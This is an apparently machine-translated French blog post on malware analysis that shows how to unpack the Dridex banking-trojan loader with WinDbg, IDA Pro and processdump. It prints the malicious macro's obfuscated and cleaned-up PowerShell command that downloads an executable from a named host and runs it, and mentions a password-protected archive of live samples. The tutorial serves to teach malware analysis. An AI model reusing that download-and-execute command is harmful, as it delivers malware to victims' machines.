Déballage: Dridex bootloader

Bons amis la nuit! Dans moins d'un mois, le cours d' ingénierie inverse commencera avec nous et, à cet égard, nous partageons traditionnellement des informations utiles sur le sujet.

Certains lecteurs ont eu des problÚmes pour déballer le chargeur de démarrage pour Dridex (celui qui a été réinitialisé par la macro), donc aujourd'hui je vais vous montrer un moyen simple de le faire. Un autre problÚme que les gens ne peuvent pas résoudre que je ne peux pas résoudre est le fait que les chaßnes infectieuses Dridex ont une durée de vie trÚs courte, ce qui rend l'inversion presque impossible pour la plupart des gens. Je vais vous expliquer pourquoi.

La chaßne d'infection actuelle de Dridex comprend environ 4 étapes:

  1. Un document Office contenant une macro exécute un script PowerShell.
  2. Un script Powershell qui téléchargera le chargeur de démarrage empaqueté à partir d'un site piraté ou d'un point de partage et l'exécutera.
  3. Un chargeur de démarrage empaqueté qui se décompresse et insÚre du code dans un processus spoolsrv ou svchost nouvellement créé.
  4. Un processus intégré qui contactera le serveur de chargement pour récupérer et exécuter le vrai fichier binaire du bot.



Le problĂšme pour les analystes est qu'il y a 2 points d'Ă©chec ici: le site piratĂ© hĂ©bergeant le chargeur de dĂ©marrage peut soit effacer ou supprimer le compte de partage, soit le serveur du chargeur de dĂ©marrage peut ĂȘtre arrĂȘtĂ© (l'un d'eux empĂȘchera une infection rĂ©ussie). De plus, les serveurs de chargement prennent souvent en charge la clĂŽture gĂ©ographique (ils ne fonctionnent que si votre adresse IP se trouve dans le pays pour lequel elle est prĂ©vue et n'est pas un VPN), et dĂšs que le chargeur de dĂ©marrage est tĂ©lĂ©chargĂ© publiquement, le groupe Dridex a la possibilitĂ© de le mettre sur liste noire. en empĂȘchant de façon permanente toute personne qui l'exĂ©cute de contacter des C2 (services de cloud commercial).

Ce qui est surprenant à propos de tous ces «échecs», c'est qu'ils sont probablement intentionnels. La plupart des victimes qui reçoivent des e-mails infectés l'ouvriront dans quelques jours ouvrables, aprÚs quoi la plupart des personnes qui ouvrent l'e-mail analyseront le malware, il est donc utile que tout disparaisse en une semaine.

Pour que les lecteurs puissent pratiquer cette leçon dans la pratique, il y a un zip qui contient un document Office malveillant et un chargeur emballĂ© de la mĂȘme chaĂźne, donc il n'y a pas besoin de se soucier des URL mortes (mot de passe: infectĂ©). En ce qui concerne les serveurs avec la clĂŽture gĂ©ographique du chargeur de dĂ©marrage, je ne peux rien y faire, et puisque le chargeur de dĂ©marrage a dĂ©jĂ  Ă©tĂ© rappelĂ©, vous serez mis sur liste noire pour le dĂ©marrer (si vous ne savez pas comment contourner la liste noire, suivez cette leçon dans la nouvelle machine virtuelle (machine virtuelle) et peut-ĂȘtre changer l'adresse IP aprĂšs).

Obtenir un chargeur emballé

Tout d'abord, vous souhaiterez ouvrir un document malveillant dans Word, mais ne cliquez pas encore sur "Inclure le contenu". Ouvrez le dĂ©bogueur (comme d'habitude j'utilise WinDbg), connectez-le Ă  winword.exe, dĂ©finissez un point d'arrĂȘt sur CreateProcessW, reprenez le processus, puis cliquez sur «Activer le contenu».



Un point d'arrĂȘt sera atteint presque instantanĂ©ment avec de nouveaux modĂšles Dridex (certaines machines virtuelles peuvent ĂȘtre dĂ©tectĂ©es, donc si un point d'arrĂȘt ne fonctionne pas, pensez Ă  masquer votre machine virtuelle).

Nous voulons décharger les 1er et 2e paramÚtres CreateProcess (respectivement, le chemin d'accÚs aux paramÚtres d'application et de ligne de commande), nous pouvons le faire avec les commandes suivantes:

du / c100 poi (esp + 4)

du / c100 poi (esp + 8)

Remarque: la commande du réinitialise une chaßne Unicode se terminant par zéro, / c 100 définit la limite de colonne au maximum et poi (esp + 4) lit l'adresse pointée par esp + 4. Résultats que j'ai obtenus:

Application: C: \ Windows \ System32 \ cmd.exe

ParamÚtres: «C: \ Windows \ System32 \ cmd.exe» / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Nous observons ici comment une macro malveillante lance cmd.exe avec une commande pour lancer PowerShell, contourner la stratégie d'exécution, puis charger et exécuter le fichier exécutable. Si nous supprimons la concaténation de chaßne et les caractÚres qui ne sont que de l'obscurcissement baisc, nous obtenons ce qui suit:

"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); start-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Maintenant, nous pouvons simplement télécharger manuellement le fichier exe depuis littlwnowern [.] Top / lukaku / (l'url est maintenant morte, mais j'ai téléchargé le binaire dans l'archive sous le nom "GksagD.exe.sample"), c'est un chargeur compressé.

Déballage du chargeur de démarrage

Nous devons d'abord activer DEP (Data Execution Prevention) pour toutes les applications, la raison de cela deviendra claire plus tard. Pour ce faire, allez dans "Panneau de configuration"> "SystÚme et sécurité"> "SystÚme"> "ParamÚtres systÚme avancés"> "ParamÚtres" (dans la section "Performances") -> "Prévention de l'exécution des données", puis activez DEP pour tous les programmes.



Ensuite, nous allons ouvrir le fichier exe dans PE Explorer et dĂ©finir l'indicateur «Relocation Stripped» dans l'en-tĂȘte PE, ce qui empĂȘchera ASLR de tĂ©lĂ©charger le fichier exĂ©cutable vers une adresse diffĂ©rente Ă  chaque lancement, ce qui simplifie l'inversion.





Enregistrez maintenant le fichier exécutable et ouvrez-le dans IDA Pro.

En rĂšgle gĂ©nĂ©rale, les chargeurs Dridex crĂ©ent le processus svchost.exe ou spoolsv.exe et s'y injectent, nous savons donc que le code dĂ©compressĂ© est susceptible d'appeler CreateProcess; Pour vĂ©rifier cela, dĂ©finissez un point d'arrĂȘt Ă  la fin de CreateProcessW (dans l'instruction ret) et cliquez sur exĂ©cuter.



Une fois le point d'arrĂȘt atteint, vous devriez voir que GksagD.exe a créé un processus suspendu appelĂ© svchost.exe ou spoolsv.exe, comme prĂ©vu. Si nous prenons une Ă©tape pour revenir de CreateProcessW au code qui l'a appelĂ©, nous rencontrerons ce qui suit.



L'IDA a fragmentĂ© les instructions, ce qui signifie que le code a Ă©tĂ© modifiĂ© depuis l'exĂ©cution de l'exĂ©cutable, ce qui est gĂ©nĂ©ralement le rĂ©sultat du dĂ©compactage en place (souvent les compresseurs de logiciels malveillants utilisent des processus creux pour Ă©crire le code dĂ©compressĂ© dans un autre processus, les vrais compresseurs dĂ©compressent le code dans le mĂȘme processus).

Maintenant, nous savons que le code exĂ©cutable principal est remplacĂ© Ă  un moment donnĂ©, nous pouvons mettre un point d'arrĂȘt sur l'enregistrement Ă  l'adresse actuelle, qui se dĂ©clenchera lorsque le code changera.



AprĂšs cela, supprimez tous les autres points d'arrĂȘt et redĂ©marrez le processus.



Le point d'arrĂȘt a Ă©tĂ© appelĂ© Ă  partir d'une adresse en dehors de la section principale des fichiers exĂ©cutables, ce qui signifie que le packer a allouĂ© de la mĂ©moire puis copiĂ© du code pour prendre soin de remplacer le fichier exĂ©cutable principal.

Si nous regardons la mémoire dans Process Hacker, nous verrons qu'elle est maintenant lisible et inscriptible, mais pas exécutable, ce qui est génial car cela signifie que le packer n'utilise plus ce code.



Maintenant, quelques conclusions sur le niveau Sherlock: nous savons que le code est exĂ©cutĂ© ici plus tard, et la mĂ©moire n'est pas exĂ©cutable pour le moment, donc, peut-ĂȘtre, Ă  un moment donnĂ©, elle deviendra exĂ©cutable.

La fonction utilisĂ©e pour configurer la protection de la mĂ©moire est gĂ©nĂ©ralement VirtualAlloc, VirtualAllocEx ou NtProtectVirtualMemory. Si vous connaissez les composants internes de Windows, vous savez que VirtualAlloc et VirtualAllocEx appellent en interne NtProtectVirtualMemory, c'est donc lĂ  que nous dĂ©finissons le point d'arrĂȘt.

Nous pourrions nous asseoir et vĂ©rifier la pile d'appels Ă  chaque appel de NtProtectVirtualMemory, attendre que l'adresse correspondante soit dĂ©finie comme exĂ©cutable, puis analyser l'en-tĂȘte PE pour trouver un nouveau point d'entrĂ©e, ou nous pourrions ĂȘtre plus intelligents.

Nous allons dĂ©finir un point d'arrĂȘt conditionnel sur NtProtectVirtualMemory en utilisant le script suivant:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; 

Pour ce faire, accĂ©dez Ă  NtProtectVirtualMemory et dĂ©finissez un point d'arrĂȘt sur le premier octet, cliquez avec le bouton droit> Modifier le point d'arrĂȘt, puis cliquez sur le bouton "..." et collez le script.

Ce script sera exécuté à chaque appel de NtProtectVirtualMemory et effectuera les opérations suivantes:

  • Assurez-vous que le paramĂštre de protection de page (esp + 0x10) est 0x10, 0x20 ou 0x40 (alias PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), ce qui signifie que l'appel modifie la protection de page en exĂ©cutable.
  • Assurez-vous que l'adresse de destination se trouve dans la plage de la section exĂ©cutable principale (0x400000 - 0x42e000).
  • Modifiez le paramĂštre de sĂ©curitĂ© Ă  0x04 (non exĂ©cutable).
  • Retourne 0 (reprendre l'exĂ©cution au lieu de l'interrompre dans le dĂ©bogueur).

Courons et voyons ce qui se passe.



Exception de violation d'accĂšs! Prenez le temps de profiter du moment, car c'est probablement la seule grave erreur de violation d'accĂšs que vous ayez jamais vue ... mais pourquoi est-ce bien?

Notre script de point d'arrĂȘt sur NtProtectVirtualMemory a dĂ©fini toute la mĂ©moire comme non exĂ©cutable lorsque le packer a tentĂ© de la dĂ©finir sur exĂ©cutable. L'exception signifie que tout ce que le packer a Ă©crit dans la mĂ©moire est maintenant correctement Ă©crit et qu'il essaie d'appeler quelque chose dans cette mĂ©moire. Si nous avons de la chance, ce que le packer a Ă©crit en mĂ©moire est le chargeur de dĂ©marrage dĂ©compressĂ©, et l'adresse qu'il essayait d'appeler est le point d'entrĂ©e, non?

Pour ce faire, nous utiliserons un outil incroyable appelé processdump ( lien de téléchargement ), qui crée des vidages de toutes les images exe ou dll chargées dans la mémoire de processus et les recompose dans des fichiers .exe ou .dll.

utilisez «pd32.exe -pid» pour vider le processus.

utilisez "pd32.exe -pid <identifiant de processus>" pour décharger le processus.



Le nombre Ă  la fin du nom de fichier est l'adresse de base de l'image en mĂ©moire, donc GksagD_exe_GksagD.exe_400000.exe sera le mĂȘme que le packer mappĂ© au lieu de l'ancien exĂ©cutable, nous allons donc le regarder dans l'IDA.



L'adresse du point d'entrĂ©e est la mĂȘme que l'adresse d'exception, c'est un exĂ©cutable dĂ©compressĂ©!

Conseils inversés

Le chargeur de démarrage est compliqué car toutes les chaßnes sont cryptées et il n'y a pas d'importation, mais les méthodes que j'ai décrites en détail dans mes manuels Dridex fonctionneront également sur le chargeur de démarrage.

Jetez un oeil:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html

et

https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

Remarque: l'exĂ©cutable du chargeur de dĂ©marrage est polyvalent (c'est le code qui implĂ©mente svchost / spoolsv et le code qui implĂ©mente svchost / spoolsv). Si vous souhaitez inverser la partie injection du chargeur de dĂ©marrage, ouvrez-la simplement dans l'IDA et exĂ©cutez-la. Si vous souhaitez inverser la partie de dĂ©marrage, vous devez la copier sur system32 et l'exĂ©cuter Ă  partir de lĂ  (veillez Ă  ce que dans les deux cas le chargeur de dĂ©marrage soit supprimĂ© lui-mĂȘme aprĂšs son exĂ©cution).

Si vous trouvez le matériel utile, mettez un plus, écrivez des commentaires et assurez-vous de vous inscrire à une leçon ouverte qui aura lieu aujourd'hui!

Source: https://habr.com/ru/post/fr439916/


All Articles